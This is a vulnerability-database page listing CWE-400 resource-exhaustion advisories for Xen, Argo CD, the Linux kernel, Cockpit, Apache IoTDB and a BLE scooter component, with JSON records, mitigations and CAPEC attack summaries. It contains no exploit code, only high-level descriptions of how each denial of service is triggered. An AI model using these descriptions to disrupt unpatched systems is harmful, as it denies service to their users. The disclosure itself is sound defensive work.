An issue was discovered in Xen through 4.10.x allowing x86 PV guest OS users to cause a denial of service (host OS CPU hang) via non-preemptable L3/L4 pagetable freeing.

Severity
6.5 (Medium)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-7540"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-02-27T19:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Xen through 4.10.x allowing x86 PV guest OS users to cause a denial of service (host OS CPU hang) via non-preemptable L3/L4 pagetable freeing.",
  "id": "GHSA-g669-vf33-57jw",
  "modified": "2022-05-14T02:00:01Z",
  "published": "2022-05-14T02:00:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7540"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/03/msg00003.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/11/msg00013.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201810-06"
    },
    {
      "type": "WEB",
      "url": "https://support.citrix.com/article/CTX232096"
    },
    {
      "type": "WEB",
      "url": "https://support.citrix.com/article/CTX232655"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4131"
    },
    {
      "type": "WEB",
      "url": "https://xenbits.xen.org/xsa/advisory-252.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/103174"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1040773"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G687-F2GX-6WM8

Vulnerability from github – Published: 2023-09-11 12:59 – Updated: 2023-09-11 12:59
VLAI
Summary
Argo CD repo-server Denial of Service vulnerability
Details

Impact

All versions of ArgoCD starting from v2.4 have a bug where the ArgoCD repo-server component is vulnerable to a Denial-of-Service attack vector. Specifically, the said component extracts a user-controlled tar.gz file without validating the size of its inner files. As a result, a malicious, low-privileged user can send a malicious tar.gz file that exploits this vulnerability to the repo-server, thereby harming the system's functionality and availability. Additionally, the repo-server is susceptible to another vulnerability due to the fact that it does not check the extracted file permissions before attempting to delete them. Consequently, an attacker can craft a malicious tar.gz archive in a way that prevents the deletion of its inner files when the manifest generation process is completed.

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

  • v2.6.15
  • v2.7.14
  • v2.8.3

Workarounds

The only way to completely resolve the issue is to upgrade.

Mitigations

Configure RBAC (Role-Based Access Control) and provide access for configuring applications only to a limited number of administrators. These administrators should utilize trusted and verified Helm charts.

For more information

If you have any questions or comments about this advisory: * Open an issue in the Argo CD issue tracker or discussions * Join us on Slack in channel #argo-cd

Credits

This vulnerability was found & reported by GE Vernova – Amit Laish.

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.0"
            },
            {
              "fixed": "2.6.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-40584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-11T12:59:48Z",
    "nvd_published_at": "2023-09-07T23:15:10Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nAll versions of ArgoCD starting from v2.4 have a bug where the ArgoCD repo-server component is vulnerable to a Denial-of-Service attack vector. Specifically, the said component extracts a user-controlled tar.gz file without validating the size of its inner files. As a result, a malicious, low-privileged user can send a malicious tar.gz file that exploits this vulnerability to the repo-server, thereby harming the system\u0027s functionality and availability. Additionally, the repo-server is susceptible to another vulnerability due to the fact that it does not check the extracted file permissions before attempting to delete them. Consequently, an attacker can craft a malicious tar.gz archive in a way that prevents the deletion of its inner files when the manifest generation process is completed.\n\n\n### Patches\nA patch for this vulnerability has been released in the following Argo CD versions:\n\n* v2.6.15\n* v2.7.14\n* v2.8.3\n\n### Workarounds\nThe only way to completely resolve the issue is to upgrade.\n\n#### Mitigations\nConfigure RBAC (Role-Based Access Control) and provide access for configuring applications only to a limited number of administrators. These administrators should utilize trusted and verified Helm charts.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\nThis vulnerability was found \u0026 reported by GE Vernova \u2013 Amit Laish.\n\nThe Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue\n",
  "id": "GHSA-g687-f2gx-6wm8",
  "modified": "2023-09-11T12:59:48Z",
  "published": "2023-09-11T12:59:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-g687-f2gx-6wm8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40584"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/commit/1391ba72149655e4884d357586d3201f15bc92dc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/commit/b8f92c4ff226346624f43de3f25d81dac6386674"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-cd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/releases/tag/v2.6.15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/releases/tag/v2.7.14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/releases/tag/v2.8.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Argo CD repo-server  Denial of Service vulnerability"
}

GHSA-G6G8-JGP3-M382

Vulnerability from github – Published: 2022-05-13 01:23 – Updated: 2025-04-11 03:41
VLAI
Details

The wait_for_unix_gc function in net/unix/garbage.c in the Linux kernel before 2.6.37-rc3-next-20101125 does not properly select times for garbage collection of inflight sockets, which allows local users to cause a denial of service (system hang) via crafted use of the socketpair and sendmsg system calls for SOCK_SEQPACKET sockets.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2010-4249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-11-29T16:00:00Z",
    "severity": "MODERATE"
  },
  "details": "The wait_for_unix_gc function in net/unix/garbage.c in the Linux kernel before 2.6.37-rc3-next-20101125 does not properly select times for garbage collection of inflight sockets, which allows local users to cause a denial of service (system hang) via crafted use of the socketpair and sendmsg system calls for SOCK_SEQPACKET sockets.",
  "id": "GHSA-g6g8-jgp3-m382",
  "modified": "2025-04-11T03:41:28Z",
  "published": "2022-05-13T01:23:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4249"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=656756"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git%3Ba=commit%3Bh=9915672d41273f5b77f1b3c29b391ffb7732b84b"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=commit;h=9915672d41273f5b77f1b3c29b391ffb7732b84b"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2010-December/052513.html"
    },
    {
      "type": "WEB",
      "url": "http://lkml.org/lkml/2010/11/23/395"
    },
    {
      "type": "WEB",
      "url": "http://lkml.org/lkml/2010/11/23/450"
    },
    {
      "type": "WEB",
      "url": "http://lkml.org/lkml/2010/11/25/8"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=linux-netdev\u0026m=129059035929046\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/42354"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/42745"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/42890"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/42963"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/46397"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/15622"
    },
    {
      "type": "WEB",
      "url": "http://www.kernel.org/pub/linux/kernel/v2.6/next/patch-v2.6.37-rc3-next-20101125.bz2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2010/11/24/10"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2010/11/24/2"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2011-0007.html"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2011-0162.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/520102/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/45037"
    },
    {
      "type": "WEB",
      "url": "http://www.vmware.com/security/advisories/VMSA-2011-0012.html"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2010/3321"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2011/0168"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-G6H4-J28X-38G5

Vulnerability from github – Published: 2024-07-03 18:48 – Updated: 2024-11-12 15:30
VLAI
Details

A flaw was found in the cockpit package. This flaw allows an authenticated user to kill any process when enabling the pam_env's user_readenv option, which leads to a denial of service (DoS) attack.

Severity
3.2 (Low)
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-6126"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-03T15:15:06Z",
    "severity": "LOW"
  },
  "details": "A flaw was found in the cockpit package. This flaw allows an authenticated user to kill any process when enabling the pam_env\u0027s user_readenv option, which leads to a denial of service (DoS) attack.",
  "id": "GHSA-g6h4-j28x-38g5",
  "modified": "2024-11-12T15:30:32Z",
  "published": "2024-07-03T18:48:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6126"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:9325"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-6126"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2292897"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G6HG-4V3C-6JQ7

Vulnerability from github – Published: 2022-10-26 19:00 – Updated: 2026-06-09 12:58
VLAI
Summary
Apache IoTDB subject to ReDOS with Java 8
Details

Apache IoTDB versions 0.12.2 through 0.12.6, and 0.13.0 through 0.13.2 are vulnerable to a Denial of Service attack when accepting untrusted patterns for REGEXP queries with Java 8. This issue is patched in 0.13.3. Users should upgrade or use a later version of Java to avoid it.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.iotdb:flink-tsfile-connector"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.12.2"
            },
            {
              "fixed": "0.13.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-iotdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.12.2"
            },
            {
              "fixed": "0.13.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.iotdb:iotdb-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.12.2"
            },
            {
              "fixed": "0.13.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.iotdb:tsfile"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.12.2"
            },
            {
              "fixed": "0.13.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-43766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-27T18:38:35Z",
    "nvd_published_at": "2022-10-26T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Apache IoTDB versions 0.12.2 through 0.12.6, and 0.13.0 through 0.13.2 are vulnerable to a Denial of Service attack when accepting untrusted patterns for REGEXP queries with Java 8. This issue is patched in 0.13.3. Users should upgrade or use a later version of Java to avoid it.",
  "id": "GHSA-g6hg-4v3c-6jq7",
  "modified": "2026-06-09T12:58:27Z",
  "published": "2022-10-26T19:00:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43766"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/iotdb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2022-42972.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/9pgpb82p5brooy41n8l5q0y9h33db2zn"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Apache IoTDB subject to ReDOS with Java 8"
}

GHSA-G6JG-Q927-WWMP

Vulnerability from github – Published: 2026-01-09 18:31 – Updated: 2026-04-14 15:30
VLAI
Details

An issue in Hero Motocorp Vida V1 Pro 2.0.7 allows a local attacker to cause a denial of service via the BLE component

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-67133"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-09T16:16:07Z",
    "severity": "HIGH"
  },
  "details": "An issue in Hero Motocorp Vida V1 Pro 2.0.7 allows a local attacker to cause a denial of service via the BLE component",
  "id": "GHSA-g6jg-q927-wwmp",
  "modified": "2026-04-14T15:30:28Z",
  "published": "2026-01-09T18:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67133"
    },
    {
      "type": "WEB",
      "url": "https://threadpoolx.gitbook.io/docs/cve/cve-2025-67133-denial-of-service-via-unauthenticated-ble-connection"
    },
    {
      "type": "WEB",
      "url": "https://www.vidaworld.com"
    },
    {
      "type": "WEB",
      "url": "http://hero.com"
    },
    {
      "type": "WEB",
      "url": "http://vida.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list